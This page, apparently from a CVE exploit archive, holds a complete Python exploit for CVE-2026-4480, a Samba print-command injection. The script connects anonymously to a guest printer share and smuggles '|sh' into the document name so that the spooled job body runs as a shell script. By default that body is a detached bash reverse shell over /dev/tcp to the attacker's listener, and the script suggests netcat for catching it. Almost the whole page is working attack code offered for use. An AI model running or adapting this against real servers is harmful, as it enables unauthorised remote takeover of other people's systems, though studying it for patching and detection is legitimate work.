5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
CVE-2026-4480 - Samba print-command (%J) injection -> unauthenticated RCE.
Made by TheCyberGeek @ HackTheBox
"""
import argparse
import sys

try:
    from samba.dcerpc import spoolss
    from samba.param import LoadParm
    from samba.credentials import Credentials
except ImportError:
    sys.exit("[-] Samba Python bindings missing. Install with: sudo apt install python3-samba")

PRINTER_ACCESS_USE = 0x00000008


def reverse_shell(lhost, lport):
    # Must be non-empty (Samba skips the print command for a 0-byte spool file) and
    # must detach (the command runs synchronously inside EndDocPrinter; a foreground
    # shell would block smbd and hang/timeout the RPC).
    return ("setsid bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1' >/dev/null 2>&1 &\n"
            % (lhost, lport)).encode()


def exploit(rhost, printer, body):
    lp = LoadParm()
    lp.load_default()
    creds = Credentials()
    creds.guess(lp)
    creds.set_anonymous()                      # the guest printer share needs no creds

    binding = r"ncacn_np:%s[\pipe\spoolss]" % rhost
    iface = spoolss.spoolss(binding, lp, creds)

    handle = iface.OpenPrinter("\\\\%s\\%s" % (rhost, printer), "",
                               spoolss.DevmodeContainer(), PRINTER_ACCESS_USE)

    info = spoolss.DocumentInfo1()
    info.document_name = "|sh"                 # this is what lands in %J
    info.output_file = None
    info.datatype = "RAW"
    ctr = spoolss.DocumentInfoCtr()
    ctr.level = 1
    ctr.info = info

    iface.StartDocPrinter(handle, ctr)
    iface.StartPagePrinter(handle)
    iface.WritePrinter(handle, body, len(body))  # this is %s (the spool body, run as a script)
    iface.EndPagePrinter(handle)
    iface.EndDocPrinter(handle)                  # triggers the print command server-side
    iface.ClosePrinter(handle)


def main():
    p = argparse.ArgumentParser(
        description="CVE-2026-4480 Samba print %J injection -> reverse shell")
    p.add_argument("rhost", help="target Samba host/IP")
    p.add_argument("lhost", help="your listener IP (e.g. tun0)")
    p.add_argument("lport", type=int, help="your listener port")
    p.add_argument("-P", "--printer", default="HP-Reception",
                   help="guest printer share name (default: HP-Reception)")
    p.add_argument("-c", "--cmd",
                   help="run this shell command instead of a reverse shell (LHOST/LPORT ignored)")
    args = p.parse_args()

    if args.cmd:
        body = (args.cmd.rstrip("\n") + "\n").encode()
    else:
        body = reverse_shell(args.lhost, args.lport)

    print("[*] target   : %s (\\\\%s\\%s)" % (args.rhost, args.rhost, args.printer))
    if not args.cmd:
        print("[*] callback : %s:%d  (start a listener first: nc -lvnp %d)"
              % (args.lhost, args.lport, args.lport))
    try:
        exploit(args.rhost, args.printer, body)
    except Exception as e:
        sys.exit("[-] exploit failed: %s" % e)
    print("[+] print job submitted -- check your listener / out-of-band channel")


if __name__ == "__main__":
    main()